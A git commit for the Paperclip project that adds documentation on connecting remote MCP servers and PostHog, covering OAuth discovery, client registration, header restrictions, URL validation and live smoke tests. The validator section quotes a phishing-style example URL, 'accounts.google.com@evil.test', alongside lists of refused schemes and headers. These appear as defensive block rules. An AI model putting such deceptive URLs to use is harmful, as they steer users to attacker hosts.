feat(apps): add secure remote MCP and PostHog setup (#12339)
## Thinking Path > - Paperclip is the open source app people use to manage AI agents for work. > - Apps give those agents governed access to external tools. > - Remote MCP setup needs secure endpoint validation and durable credentials. > - PostHog needs both browser sign-in and personal API key setup paths. > - This pull request adds the shared remote MCP foundation and the PostHog definition. > - The benefit is a secure and reusable base for later app connection work. ## Linked Issues or Issue Description Refs #11965 This is stack 1 of 11. It replaces the first reviewable part of #11965. ## What Changed - Add guarded remote MCP setup and credential handling. - Add PostHog OAuth and API key connection methods. - Add focused server, shared contract, and UI coverage. - Keep the migration replay-safe and idempotent. - Give the late-close security regression the same 10-second CI headroom as the adjacent real-timer handshake test. - Synchronize fake-timer handshake tests at the exact ensure-session boundary so real filesystem setup cannot race the fake deadline. - Drive PTY overflow coverage only after listener registration so scheduling cannot reorder the test fixture. ## Verification - pnpm exec vitest run packages/adapter-utils/src/acpx-engine/execute.test.ts server/src/__tests__/plugin-worker-manager.test.ts (220 passed; affected cases also passed five focused stress repetitions) - `pnpm exec vitest run packages/adapter-utils/src/acpx-engine/execute.test.ts -t "never leaks a sandbox-provided value from a late close rejection into logs or the result"` (1 passed) - `pnpm exec vitest run packages/adapter-utils/src/acpx-engine/execute.test.ts -t "never promotes a late ensureSession resolution|closes a late-resolving real handle exactly once"` (2 passed) - `pnpm -r typecheck` - `pnpm --filter @paperclipai/server exec vitest run src/__tests__/tool-access-service.test.ts` - `pnpm --filter @paperclipai/db check:migrations` - `pnpm build` ## Risks - Remote endpoint validation can reject configurations that previously passed without checks. - OAuth configuration errors can block setup until the operator corrects the provider settings. - The migration uses guarded statements so repeated execution is safe. - The test-only synchronization changes do not affect runtime behavior; they remove filesystem/fake-clock and listener-registration races observed under parallel CI load. > I checked `ROADMAP.md`. This stack continues the existing app connection work from #11965 and does not duplicate another planned item. ## Model Used OpenAI Codex, GPT-5. The runtime model ID and context window were not exposed. The model used reasoning, tool use, and code execution. ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have searched GitHub for duplicate or related PRs and linked them above - [x] I have either (a) linked existing issues with `Fixes: #` / `Closes #` / `Refs #` OR (b) described the issue in-PR following the relevant issue template - [x] I have not referenced internal/instance-local Paperclip issues or links (only public GitHub `#NNN` / `github.com/paperclipai/paperclip` URLs) - [x] My branch name describes the change and contains no internal Paperclip ticket id or instance-derived details - [x] I have run tests locally and they pass - [x] I have added or updated tests where applicable - [x] I have updated relevant documentation to reflect my changes - [x] I have considered and documented any risks above - [x] All Paperclip CI gates are green - [x] Greptile is 5/5 with no open P2s, recommendations, or follow-ups - [x] I will address all Greptile and reviewer comments before requesting merge --------- Co-authored-by: Paperclip <noreply@paperclip.ing>
This commit is contained in:
parent
6154e00f26
commit
cabc9146d0
|
|
@ -952,6 +952,22 @@ pnpm secrets:migrate-inline-env # dry run
|
|||
pnpm secrets:migrate-inline-env --apply # apply migration
|
||||
```
|
||||
|
||||
## Internal Connection Token Brokers
|
||||
|
||||
Connection token exchanges carry a resolved parent credential, so their URLs
|
||||
are public-only by default even in local/private deployments. To intentionally
|
||||
use an internal broker, configure an exact hostname allowlist:
|
||||
|
||||
```sh
|
||||
PAPERCLIP_TOKEN_BROKER_ALLOWED_HOSTS=broker.internal.example,10.0.0.42
|
||||
```
|
||||
|
||||
Entries are comma- or whitespace-separated exact hostnames (no wildcards). The
|
||||
host configured by `PAPERCLIP_PAGES_API_URL` is included automatically. Every
|
||||
broker hostname is resolved once and the request is pinned to the approved
|
||||
address; IPv4 and IPv6 link-local destinations remain denied even when their
|
||||
host is allowlisted.
|
||||
|
||||
## Company Deletion Toggle
|
||||
|
||||
Company deletion is intended as a dev/debug capability and can be disabled at runtime:
|
||||
|
|
@ -1036,6 +1052,38 @@ Optional auth flags (for authenticated mode):
|
|||
- `PAPERCLIP_AUTH_HEADER` (for example `Bearer ...`)
|
||||
- `PAPERCLIP_COOKIE` (session cookie header value)
|
||||
|
||||
## PostHog MCP Live Smoke Test
|
||||
|
||||
The PostHog smoke targets an already-running authenticated Paperclip instance.
|
||||
It is deliberately separate from `pnpm test` and `pnpm test:e2e` because it
|
||||
uses a live vendor OAuth flow and creates a short-lived connection plus one
|
||||
fresh-run proof issue.
|
||||
|
||||
```sh
|
||||
INTEGRATIONS_POSTHOG_PAPERCLIP_E2E_EMAIL=operator@example.test \
|
||||
INTEGRATIONS_POSTHOG_PAPERCLIP_DEV_LOGIN_PASSWORD='<environment-delivered>' \
|
||||
INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID=483530 \
|
||||
pnpm smoke:posthog-live https://paperclip.example.test
|
||||
```
|
||||
|
||||
The command fails before browser launch unless all three integration bindings
|
||||
are present, and never prints their values. A Paperclip heartbeat derives the
|
||||
target origin from its injected `PAPERCLIP_API_URL`; the positional URL (or
|
||||
`--base-url <url>`) selects the running instance for a manual invocation. It
|
||||
creates no trace, video, or HAR, begins
|
||||
screenshots only after OAuth returns to Paperclip, enables read actions only,
|
||||
installs the connection on `CodexCoderPro` only, runs `project-get` with `{}`
|
||||
from the board Test panel and a fresh agent run, then removes the connection.
|
||||
Sanitized JSON and PNG evidence defaults to `PAPERCLIP_RUN_SCRATCH_DIR` when the
|
||||
command runs in a heartbeat; set `POSTHOG_EVIDENCE_DIR` for a different output
|
||||
directory.
|
||||
|
||||
Run the focused harness checks without contacting Paperclip or PostHog:
|
||||
|
||||
```sh
|
||||
node --test scripts/smoke/posthog-live.test.mjs
|
||||
```
|
||||
|
||||
## OpenClaw Docker UI One-Command Script
|
||||
|
||||
To boot OpenClaw in Docker and print a host-browser dashboard URL in one command:
|
||||
|
|
|
|||
|
|
@ -4,6 +4,19 @@ This playbook is the repeatable template for adding a vendor to the Apps catalog
|
|||
|
||||
Use it when Paperclip acts on an external system through a governed connection: a stored credential, a capability catalog, access profiles and policy rules, and audit. Inbound integrations, such as an external client acting on Paperclip, use gateway or webhook guidance instead.
|
||||
|
||||
**A catalog entry is a convenience layer, not a prerequisite.** Since
|
||||
[PAP-17087](/PAP/issues/PAP-17087), an operator can connect any
|
||||
standards-compliant remote HTTP MCP server from **Connect your own MCP server**
|
||||
or **Paste a config** with no Paperclip code change at all — including servers
|
||||
that need browser sign-in. Those two routes are the documented baseline; see
|
||||
[Connecting any remote MCP server](./GENERIC-REMOTE-MCP.md).
|
||||
|
||||
Write a catalog entry when Paperclip should *promote* a vendor: branding, tailored
|
||||
fields, field validation, scoped defaults, and support copy. A definition adds
|
||||
those conveniences and nothing else. It must not create a second connection,
|
||||
change ownership, or be necessary for health, catalog, or governance — a curated
|
||||
route and the generic route converge on the same connection and review pipeline.
|
||||
|
||||
Every connector built with this playbook is a **plane P2** connection — a resource token in the instance vault, acquired via the connect broker, never a sign-in authenticator. Before writing a connector, read [Identity vs. connections](./README.md#identity-vs-connections) for the P1/P2/P3 boundary and the D7 standing rule (sign-in tokens are never reused as resource tokens; id.paperclip.ing never stores resource tokens; no connections hub on the ID service).
|
||||
|
||||
## Output
|
||||
|
|
@ -91,6 +104,11 @@ Capture:
|
|||
- `methods`: explicit combinations of `transport` (`mcp_remote`, `rest_api`, `local_stdio`), `authKind` (`oauth`, `api_key`, `none`), and `ownership` (`platform_shared`, `platform_provisioned`, `customer`, `dcr`).
|
||||
- Stable connection UID namespace used to form `{namespace}/{slug}` addresses.
|
||||
- `credentialFields`: labels, vendor-call placement, header key, prefix, help URL, and required state. User-facing labels should be sanitized by the Apps UI copy layer. The saved value is always a `company_secrets` ref, not an env entry.
|
||||
- `tenantFields` and `extensionFields`: keep unavoidable identity and resource
|
||||
boundaries in the default flow. Mark optional scope reduction, feature/tool
|
||||
filters, response modes, and transport tuning with `advanced: true`, and give
|
||||
advanced fields working defaults that do not require the operator to expand
|
||||
the disclosure.
|
||||
- `oauth`: provider key, scopes, authorization URL, token URL, metadata URL if applicable.
|
||||
- `urlPatterns`: URLs that can identify this app during paste/import flows.
|
||||
- `recommendedDefaults`: access and risk defaults, especially ask-first risk levels.
|
||||
|
|
@ -151,6 +169,13 @@ The wizard path comes from auth mode and transport:
|
|||
|
||||
The operator should see Apps, Connections, and Review language. Keep protocol language behind Developer/Advanced copy.
|
||||
|
||||
Default to the broadest vendor permissions and scopes the reviewed connection
|
||||
can support. Operators should not have to predict every future tool during
|
||||
setup. Keep the default view to the minimum inputs needed for a working
|
||||
connection, fold optional expert controls under one collapsed **Advanced**
|
||||
disclosure, and enforce safe execution afterward through Paperclip's resource
|
||||
boundaries, catalog review, ask-first policies, quarantine, and audit.
|
||||
|
||||
## Step 8: Apply Governance Defaults
|
||||
|
||||
Governance is automatic because every catalog entry becomes a normal tool-access object:
|
||||
|
|
@ -198,6 +223,15 @@ most; the broker resolves endpoints at connect time:
|
|||
`authorization_endpoint`, `token_endpoint`, and — when the vendor supports
|
||||
dynamic registration — `registration_endpoint`.
|
||||
|
||||
For an issuer that has a path, step 3 is tried in both the RFC 8414 insertion
|
||||
form (`/.well-known/oauth-authorization-server<path>`) and the widely deployed
|
||||
OIDC suffix form (`<path>/.well-known/oauth-authorization-server`), and a
|
||||
document whose `issuer` disagrees with the issuer used to build the URL is
|
||||
discarded. Authorization, token, and refresh requests all carry the RFC 8707
|
||||
`resource` indicator naming the canonical MCP endpoint, and RFC 9207 `iss` is
|
||||
validated against the persisted expected issuer when the authorization server
|
||||
returns it.
|
||||
|
||||
The broker implements this in `discoverOAuthEndpoints`
|
||||
(`server/src/services/tool-access.ts`), but discovery is **not**
|
||||
unconditional. `oauthEndpointsForConnection` resolves endpoints in this
|
||||
|
|
@ -247,6 +281,24 @@ registers a client on the fly and stores it on the connection:
|
|||
`customer` and `dcr` in the method's `ownershipModes` when the vendor
|
||||
supports both.
|
||||
|
||||
Since [PAP-17087](/PAP/issues/PAP-17087), DCR is **one of four** registration
|
||||
tiers, and `ownershipModes` gates only the *curated* path. The broker resolves a
|
||||
client in this order: a deployment-preconfigured client, then a Client ID
|
||||
Metadata Document when the authorization server advertises one (requires a public
|
||||
HTTPS `PAPERCLIP_PUBLIC_URL`), then DCR, then client credentials the operator
|
||||
preregistered and pasted in. A URL-only connection with no `AppDefinition` may
|
||||
use the CIMD and DCR tiers too, but only after validated protected-resource and
|
||||
authorization-server discovery produced a metadata document. Registered client
|
||||
material is bound to the issuer, MCP resource URL, callback URI, and company;
|
||||
when a binding moves, a Paperclip-minted client re-registers and an
|
||||
operator-supplied one asks the operator to re-enter it. Full detail in
|
||||
[Connecting any remote MCP server](./GENERIC-REMOTE-MCP.md#how-sign-in-gets-a-client).
|
||||
|
||||
For a curated entry, `ownershipModes` still decides whether Paperclip may
|
||||
dynamically register on that vendor's behalf: omit `dcr` for a vendor that must
|
||||
not be auto-registered, and the broker will not fall through to the generic
|
||||
registration path for it.
|
||||
|
||||
**DCR needs neither Paperclip ID nor Paperclip Connect.** DCR is always
|
||||
instance-local (ratified in the PAP-14828 connector-service spec, section 10
|
||||
item 8.4: "DCR is always instance-local; the service has no DCR involvement").
|
||||
|
|
@ -750,4 +802,3 @@ End-to-end evidence belongs to PAP-16654 (P6) and the PAP-12373 matrix:
|
|||
- Revocation removes Notion tools and blocks execution.
|
||||
- Audit rows prove actor, run/issue context, connection, tool, decision,
|
||||
reason code, and outcome.
|
||||
|
||||
|
|
|
|||
|
|
@ -89,7 +89,7 @@ PagerDuty.
|
|||
| 12 | PagerDuty | E | Direct MCP with REST wrapper for events | OAuth | Account, service, escalation policy, incident urgency filters | Read incidents/on-call, ack/resolve with approval | Incident webhooks | S3 |
|
||||
| 13 | Cloudflare | E | Direct MCP with vendor-deep wrapper for Workers/DNS | OAuth or scoped API token | Account, zone, Worker/project filters | Read zones/deployments/logs, draft DNS/Worker change | Audit/deployment sync optional | S4 |
|
||||
| 14 | Vercel | A | Direct MCP or thin REST wrapper | Vercel OAuth | Team, project, environment, deployment filters | Read projects/deployments/log metadata, redeploy/cancel gated | Deployment webhooks | S3 |
|
||||
| 15 | PostHog | C | Direct MCP/API-key provider | Project/personal API key secret ref | Project, environment, dashboard/feature flag filters | Query events/insights/flags, create annotation | Optional insight/flag sync | S2 |
|
||||
| 15 | PostHog | C | Hosted MCP OAuth or personal API key | OAuth token or personal API key secret ref | Project, read-only, feature-group, and tool filters | Query insights/errors/flags/experiments; governed writes | Optional insight/flag sync | S3 |
|
||||
| 16 | Datadog | C | OpenAPI-to-MCP shim first, deep wrapper later | API key + app key secret refs | Site, org, service, monitor, dashboard filters | Read metrics/logs/monitors, mute/unmute gated | Monitor/webhook events | S3 |
|
||||
| 17 | Figma | C | Vendor-deep wrapper; MCP for Dev Mode reads | Figma OAuth | Team, project, file, branch filters | Read files/comments/dev data, create comment | File/comment webhooks optional | S3 |
|
||||
| 18 | Canva | C | Direct app/MCP where available; Connect API wrapper | Canva OAuth | Team, folder, brand/template filters | Search/read designs, create design from template | Asset sync optional | S2 |
|
||||
|
|
|
|||
|
|
@ -0,0 +1,228 @@
|
|||
# Connecting any remote MCP server
|
||||
|
||||
Paperclip can connect a standards-compliant remote HTTP MCP server without a
|
||||
Paperclip code change. A curated `AppDefinition` is a **convenience layer** —
|
||||
branding, tailored fields, scoped defaults, support copy — not a prerequisite.
|
||||
|
||||
This is the documented baseline for connecting anything. Read
|
||||
[Connector playbook](./CONNECTOR-PLAYBOOK.md) when you want to add the branded
|
||||
convenience layer on top for a vendor Paperclip should promote.
|
||||
|
||||
Accepted in the [generic remote MCP plan](/PAP/issues/PAP-17078#document-plan),
|
||||
implemented in [PAP-17087](/PAP/issues/PAP-17087).
|
||||
|
||||
## The two routes
|
||||
|
||||
| Route | Where | Use it when |
|
||||
| --- | --- | --- |
|
||||
| Guided URL | **Apps → Connect an app → Connect your own MCP server** | You have the server's address. Paperclip probes it and walks you through whatever it needs. |
|
||||
| Paste a config | **Advanced → Paste a config** | A README gave you an `mcpServers` snippet, or the server needs headers with names Paperclip could not guess. |
|
||||
|
||||
Both routes normalize through the same backend contract, so auth discovery,
|
||||
secret handling, catalog refresh and review cannot diverge between them.
|
||||
|
||||
**Advanced → Run your own** is a separate, higher-trust path for local stdio
|
||||
commands and is deliberately not covered here.
|
||||
|
||||
Don't know the address or the headers? The question-mark control beside
|
||||
**Paste a config** gives you a request you can hand to an agent: it asks the
|
||||
agent to consult the vendor's current documentation and reply with one
|
||||
paste-ready `mcpServers` JSON object using credential *placeholders*, plus notes
|
||||
on how to obtain each credential. Paste only the JSON block back into Paperclip;
|
||||
Paperclip reads the header names from it and asks you for the values, which it
|
||||
stores as Paperclip secrets.
|
||||
|
||||
## What the guided URL flow does
|
||||
|
||||
After you paste an address and press **Check link**, Paperclip probes the
|
||||
endpoint and branches:
|
||||
|
||||
| Endpoint says | You get |
|
||||
| --- | --- |
|
||||
| Nothing needed | Discovered actions, straight to review. |
|
||||
| Needs authorization, and publishes discoverable OAuth metadata | **Sign in to continue** — a browser sign-in at the provider. |
|
||||
| Needs authorization, but no discoverable sign-in | A prompt to add the key or headers its docs list, under **Advanced authentication**. |
|
||||
| Needs a client you registered yourself | A prompt for a client ID and secret. The draft connection is kept — you don't start over. |
|
||||
| Not a valid address / private network / unreachable | The specific problem and which field to change. |
|
||||
|
||||
An unknown server is labelled **Unverified server** with its host shown, at every
|
||||
step through review, access and install. Reads are enabled for review;
|
||||
state-changing actions start off; newly discovered actions are quarantined until
|
||||
reviewed. That is the same treatment a curated connection gets.
|
||||
|
||||
### Advanced authentication
|
||||
|
||||
Collapsed by default. Open it when the server's docs are specific:
|
||||
|
||||
- **No sign-in needed** — the server is open to anyone with the address.
|
||||
- **Key or token** — sent as an `Authorization` header.
|
||||
- **Custom headers** — for servers that name their own headers.
|
||||
- **Browser sign-in** — optionally with a client ID and secret you registered
|
||||
yourself, for providers that require preregistration.
|
||||
|
||||
Every value you enter becomes a Paperclip secret. Values are write-only: they
|
||||
never appear in stored config JSON, logs, activity details, API responses after
|
||||
write, or UI readback. Only header *names* are shown in review and diagnostics.
|
||||
|
||||
Paperclip refuses to send header names it manages or that belong to the
|
||||
transport — `Host`, `Cookie`, `Content-Length`, `Transfer-Encoding`,
|
||||
hop-by-hop headers, and anything under `Proxy-*` or `Sec-*` — and rejects
|
||||
values containing line breaks or control characters. This is enforced in shared
|
||||
code (`packages/shared/src/mcp-remote-headers.ts`), checked at the API boundary,
|
||||
and re-checked in the service immediately before the header is projected onto a
|
||||
real request.
|
||||
|
||||
## How sign-in gets a client
|
||||
|
||||
You never choose this; Paperclip resolves it and the wizard shows none of it.
|
||||
Recorded here for security review and diagnostics. In preference order:
|
||||
|
||||
1. **Deployment-preconfigured client.** `PAPERCLIP_TOOL_OAUTH_<PROVIDER>_CLIENT_ID`
|
||||
/ `_SECRET`, or the unsuffixed `PAPERCLIP_TOOL_OAUTH_CLIENT_ID` / `_SECRET`.
|
||||
Always wins when set.
|
||||
2. **Client ID Metadata Document (CIMD).** When the authorization server
|
||||
advertises `client_id_metadata_document_supported`, Paperclip presents the URL
|
||||
of its own published metadata document as the `client_id`. Nothing is
|
||||
registered. **Requires a public HTTPS base URL** (`PAPERCLIP_PUBLIC_URL`):
|
||||
the authorization server has to fetch that document server-to-server, so
|
||||
loopback and plain-HTTP deployments fall through to the next tier.
|
||||
The document is served unauthenticated at `/api/tools/oauth/client-metadata`
|
||||
and contains only this deployment's callback and the grant/response/auth
|
||||
methods Paperclip uses — no company, connection or secret data.
|
||||
3. **Dynamic client registration (RFC 7591).** When the authorization server
|
||||
advertises a `registration_endpoint`. Paperclip registers a public client
|
||||
(`token_endpoint_auth_method: none`, `application_type: web`, PKCE S256).
|
||||
4. **Manual preregistered client.** The client ID and secret you paste under
|
||||
**Advanced authentication → Browser sign-in**.
|
||||
|
||||
A generic connection may register (tiers 2 and 3) **only after** validated
|
||||
protected-resource and authorization-server discovery actually produced a
|
||||
metadata document, and only on an explicit operator connect action. An endpoint
|
||||
that merely returns a 401 does not earn a registration.
|
||||
|
||||
### Client binding
|
||||
|
||||
Client material is bound to the authorization-server issuer, the MCP resource
|
||||
URL, the callback URI, and the company. If any of those change:
|
||||
|
||||
- a Paperclip-minted client (CIMD or DCR) is **re-registered**;
|
||||
- a client you supplied yourself is **not** — Paperclip stops and asks you to
|
||||
re-enter it, because it cannot register on your behalf in a console it does
|
||||
not control.
|
||||
|
||||
Credentials are never reused across issuers or across companies.
|
||||
|
||||
### Endpoint addresses are validated before they are used
|
||||
|
||||
Every OAuth endpoint address is chosen by the remote server — in discovered
|
||||
metadata, in a `WWW-Authenticate` hint, in a pasted config, or in a gallery
|
||||
default — and the authorization endpoint additionally becomes a top-level browser
|
||||
navigation. All of them are parsed by one shared validator
|
||||
(`checkOAuthEndpointUrl` in `@paperclipai/shared`) and must be:
|
||||
|
||||
- **`https:`.** Plain `http:` is refused, except for a loopback host under the
|
||||
local-development policy (the same policy that allows private remote
|
||||
endpoints), and except for this deployment's own origin.
|
||||
- **Free of embedded credentials.** `https://accounts.google.com@evil.test/…`
|
||||
reads as the wrong site to a human, so Paperclip refuses it.
|
||||
- **Free of a fragment**, and a well-formed absolute URL.
|
||||
|
||||
`javascript:`, `data:`, `file:` and friends are therefore refused before they can
|
||||
reach `window.location`. The board applies the same validator to the address it
|
||||
receives, so an unsafe value cannot pass the API boundary and then execute at the
|
||||
navigation boundary. A refusal is reported as
|
||||
`oauth_<kind>_endpoint_rejected` (422) and the unsafe value is never persisted on
|
||||
the connection.
|
||||
|
||||
An address that passes is still only an address: a valid HTTPS authorization page
|
||||
can be a phishing page. The redirect screen names the host you are being sent to,
|
||||
and the **Unverified server** label stays visible for an endpoint with no curated
|
||||
definition.
|
||||
|
||||
### Protocol conformance
|
||||
|
||||
- RFC 8707 `resource` on authorization, token, and refresh requests, naming the
|
||||
canonical MCP endpoint (origin + path, no query or fragment), so the
|
||||
authorization server can audience-restrict the token to that server.
|
||||
- RFC 9728 protected-resource discovery, path-aware first
|
||||
(`/.well-known/oauth-protected-resource<path>`) then origin.
|
||||
- RFC 8414 authorization-server discovery for issuers with a path, in the
|
||||
spec's insertion form (`/.well-known/oauth-authorization-server<path>`) and
|
||||
the widely deployed OIDC suffix form (`<path>/.well-known/...`). A metadata
|
||||
document whose `issuer` disagrees with the issuer used to build the discovery
|
||||
URL is discarded.
|
||||
- RFC 9207 `iss` validated against the persisted expected issuer when the
|
||||
authorization server returns it. A mismatch refuses the code rather than
|
||||
exchanging it. An absent `iss` is tolerated — it is optional and widely
|
||||
omitted.
|
||||
- PKCE S256, exact redirect/state binding, and SSRF/private-network and redirect
|
||||
limits are unchanged from the curated path.
|
||||
|
||||
The discovered auth kind, issuer, and resource are persisted on the connection,
|
||||
so refresh, reconnect, revoke and diagnostics all use the generic path instead of
|
||||
falling back to `authKind: none` semantics.
|
||||
|
||||
## Curated definitions remain optional
|
||||
|
||||
A curated definition matching a pasted endpoint is offered as a branded
|
||||
shortcut beside the generic form — never instead of it. A definition adds labels,
|
||||
logos, field validation, scoped defaults and support copy. It does **not** unlock
|
||||
a separate execution capability, and it must not create a second connection or
|
||||
change ownership.
|
||||
|
||||
The bespoke [PostHog connection](./POSTHOG.md) is the worked example: it is the
|
||||
polished route for most users, and PostHog is also connectable generically
|
||||
through this page with either a key or browser sign-in.
|
||||
|
||||
## Verifying
|
||||
|
||||
Deterministic coverage lives in
|
||||
`server/src/__tests__/generic-mcp-connection.test.ts`, which stands up an
|
||||
in-process MCP server plus authorization server. It needs no network and no
|
||||
vendor credentials, and every case connects by URL without naming a gallery app.
|
||||
A credentialed vendor smoke (for example live PostHog OAuth) may be recorded by
|
||||
QA but is not required for deterministic verification.
|
||||
|
||||
### Opt-in generic Notion live smoke
|
||||
|
||||
`pnpm smoke:notion-generic-live` exercises the generic **Advanced → Paste a
|
||||
config** route against `https://mcp.notion.com/mcp`. It is intentionally outside
|
||||
the normal unit, browser, and CI-required suites. Run it only against an
|
||||
already-running, browser-reachable HTTPS Paperclip instance with these bindings
|
||||
provided by the execution environment:
|
||||
|
||||
- `PAPERCLIP_E2E_BASE_URL`, `PAPERCLIP_E2E_EMAIL`, and
|
||||
`PAPERCLIP_DEV_LOGIN_PASSWORD` for the target instance;
|
||||
- `PAPERCLIP_API_URL`, `PAPERCLIP_API_KEY`, `PAPERCLIP_RUN_ID`, and
|
||||
`PAPERCLIP_TASK_ID` for the control plane;
|
||||
- the approved on-demand secret binding
|
||||
`access.notion_generic_flow_test_account`, delivered by the agent secret API
|
||||
under its normalized key `generic-flow-test-account`, for the existing Notion
|
||||
test account.
|
||||
|
||||
If that account requires an emailed one-time code, also set `AGENTMAIL_API_KEY`
|
||||
and `NOTION_AGENTMAIL_INBOX_ID` for the already-configured forwarding inbox. The
|
||||
smoke loads the AgentMail SDK only after Notion presents the code challenge,
|
||||
accepts only a fresh authenticated Notion message, fills the code once in
|
||||
memory, and never records the message, address, or code.
|
||||
|
||||
Check the URL, health endpoint, and binding metadata without retrieving the
|
||||
credential value or opening a browser:
|
||||
|
||||
```sh
|
||||
pnpm smoke:notion-generic-live -- --dry-run
|
||||
```
|
||||
|
||||
The live command retrieves the credential only after the safe preflight and
|
||||
Paperclip login succeed. It disables trace, video, and HAR capture, takes only
|
||||
post-callback screenshots, enables and invokes only `notion-get-self`, proves
|
||||
`notion-create-pages` remains locally denied, and removes its uniquely named
|
||||
connection in a `finally` cleanup. Its `summary.json` and PNG files contain
|
||||
sanitized IDs, decisions, outcomes, and endpoint origins/paths only; they
|
||||
default to `PAPERCLIP_RUN_SCRATCH_DIR`, or to `NOTION_EVIDENCE_DIR` when set.
|
||||
|
||||
Run the credential-free harness checks with:
|
||||
|
||||
```sh
|
||||
node --test scripts/smoke/notion-generic-live.test.mjs
|
||||
```
|
||||
|
|
@ -0,0 +1,95 @@
|
|||
# PostHog connection
|
||||
|
||||
Paperclip connects to PostHog's hosted MCP service at
|
||||
`https://mcp.posthog.com/mcp`. The connection supports two explicit methods:
|
||||
|
||||
- browser OAuth, which is recommended for hosted PostHog accounts; or
|
||||
- a PostHog personal API key stored as a Paperclip secret and sent as an
|
||||
`Authorization: Bearer ...` header.
|
||||
|
||||
Paperclip does not silently fall back from OAuth to an API key. The selected
|
||||
method is saved on the connection and reused for reconnects.
|
||||
|
||||
This curated connection is the polished route and is what most users should use:
|
||||
it provides branding, project selection, read-only/feature/tool/mode controls,
|
||||
field validation, and tailored guidance. None of it is *required* to reach
|
||||
PostHog's MCP server. Since [PAP-17087](/PAP/issues/PAP-17087), PostHog can also
|
||||
be connected generically from **Connect your own MCP server** by pasting
|
||||
`https://mcp.posthog.com/mcp` — with a personal API key, with explicit headers, or
|
||||
through browser sign-in — with no Paperclip-specific code involved. See
|
||||
[Connecting any remote MCP server](./GENERIC-REMOTE-MCP.md).
|
||||
|
||||
## Service involvement
|
||||
|
||||
PostHog hosts both the MCP resource and OAuth authorization service. Paperclip
|
||||
discovers the OAuth endpoints, dynamically registers the client when needed,
|
||||
stores returned credentials as secret references, and handles the callback at
|
||||
`/api/tools/oauth/callback`. No Paperclip-operated vendor relay is involved.
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
actor A as Administrator
|
||||
participant P as Paperclip
|
||||
participant M as mcp.posthog.com
|
||||
participant O as oauth.posthog.com
|
||||
|
||||
A->>P: Choose PostHog sign-in and project
|
||||
P->>M: Discover protected-resource metadata
|
||||
M-->>P: Authorization server metadata URL
|
||||
P->>O: Discover endpoints and register OAuth client
|
||||
O-->>P: Client registration
|
||||
P-->>A: Open browser authorization
|
||||
A->>O: Approve access
|
||||
O-->>P: Redirect to /api/tools/oauth/callback
|
||||
P->>O: Exchange authorization code
|
||||
O-->>P: Access and refresh tokens
|
||||
P->>M: tools/list with project and configured options
|
||||
M-->>P: PostHog tool catalog
|
||||
```
|
||||
|
||||
The current hosted endpoints are:
|
||||
|
||||
| Purpose | Endpoint |
|
||||
| --- | --- |
|
||||
| MCP resource | `https://mcp.posthog.com/mcp` |
|
||||
| Protected-resource metadata | `https://mcp.posthog.com/.well-known/oauth-protected-resource/mcp` |
|
||||
| Authorization-server metadata | `https://oauth.posthog.com/.well-known/oauth-authorization-server` |
|
||||
| Authorize | `https://oauth.posthog.com/oauth/authorize/` |
|
||||
| Token | `https://oauth.posthog.com/oauth/token/` |
|
||||
| Dynamic client registration | `https://oauth.posthog.com/oauth/register/` |
|
||||
| Revoke | `https://oauth.posthog.com/oauth/revoke/` |
|
||||
| Paperclip callback | `/api/tools/oauth/callback` |
|
||||
|
||||
Redirect-URI constraints and token lifetimes remain provider-controlled and
|
||||
must be rechecked during credentialed QA; Paperclip does not encode guessed
|
||||
values for either.
|
||||
|
||||
## Administrator setup
|
||||
|
||||
1. In **Apps → Browse**, choose **PostHog**.
|
||||
2. Explicitly choose **Sign in with PostHog** or **Use a personal API key**.
|
||||
3. Enter the numeric PostHog project ID.
|
||||
4. Leave **Read-only mode** off to expose the full PostHog action catalog.
|
||||
Turn it on when the connection should never offer actions that change data.
|
||||
5. The default setup requests all feature groups and tools. Open **Advanced**
|
||||
only to narrow the catalog with **Feature groups** or **Individual tools**.
|
||||
Paperclip fixes the advanced response mode to individual tools so each
|
||||
action can be governed; CLI mode is unavailable until nested execution is
|
||||
governed.
|
||||
6. For OAuth, continue through browser consent. For API-key setup, create a
|
||||
personal API key using PostHog's **MCP Server** preset and paste it into
|
||||
Paperclip. Never put the key in connection configuration or a URL.
|
||||
7. Review discovered actions. Known writes ask first, destructive or nested
|
||||
execution tools remain quarantined, and unknown PostHog tools default to
|
||||
write risk until reviewed.
|
||||
|
||||
Paperclip sends the project scope as the `x-posthog-project-id` managed header.
|
||||
It sends configured `readonly`, `features`, `tools`, and `mode` values as query
|
||||
parameters. Leaving the optional feature and tool filters blank exposes the
|
||||
full catalog. The managed header is identical during catalog discovery and tool
|
||||
execution, and a caller cannot override it. PostHog documents these options in its [MCP
|
||||
overview](https://posthog.com/docs/model-context-protocol) and [MCP
|
||||
FAQ](https://posthog.com/docs/model-context-protocol/faq).
|
||||
|
||||
PostHog does not charge for MCP requests themselves, but the actions they
|
||||
perform can consume normal PostHog usage or AI credits.
|
||||
|
|
@ -2,6 +2,8 @@
|
|||
|
||||
Audience: internal engineers and product contributors working on integrations.
|
||||
|
||||
Provider notes: [PostHog](./POSTHOG.md).
|
||||
|
||||
Post-read action: classify a new integration request, pick the right Paperclip
|
||||
layer to change, and avoid creating a parallel connection framework.
|
||||
|
||||
|
|
@ -145,8 +147,12 @@ not own durable tokens.
|
|||
- [First-30 matrix](./FIRST-30-MATRIX.md) harvests the keeper from
|
||||
[PAP-2432](/PAP/issues/PAP-2432) and is the source matrix for connector
|
||||
playbook work.
|
||||
- [Connecting any remote MCP server](./GENERIC-REMOTE-MCP.md) is the baseline:
|
||||
how an operator connects a standards-compliant remote MCP endpoint with no
|
||||
Paperclip code change, and how sign-in resolves a client.
|
||||
- [Connector playbook](./CONNECTOR-PLAYBOOK.md) is the repeatable template for
|
||||
adding a vendor as a catalog entry on Apps v2.
|
||||
adding a vendor as a catalog entry on Apps v2 — the optional branded
|
||||
convenience layer over the baseline above.
|
||||
- [MCP access governance](../MCP-ACCESS-GOVERNANCE.md) remains the operator
|
||||
runbook for the current gateway, profile, policy, approval, runtime, and audit
|
||||
APIs.
|
||||
|
|
|
|||
|
|
@ -111,6 +111,10 @@ Required controls:
|
|||
first, then persist only refs and redacted account metadata on the connection.
|
||||
- Create/update routes validate same-company ownership for every referenced
|
||||
secret, app, connection, agent, user, project, routine, and issue.
|
||||
- Create/update routes validate every configured token-broker exchange URL
|
||||
against the private-host policy before persisting the connection. Minting
|
||||
repeats the check and pins the approved address before transmitting the
|
||||
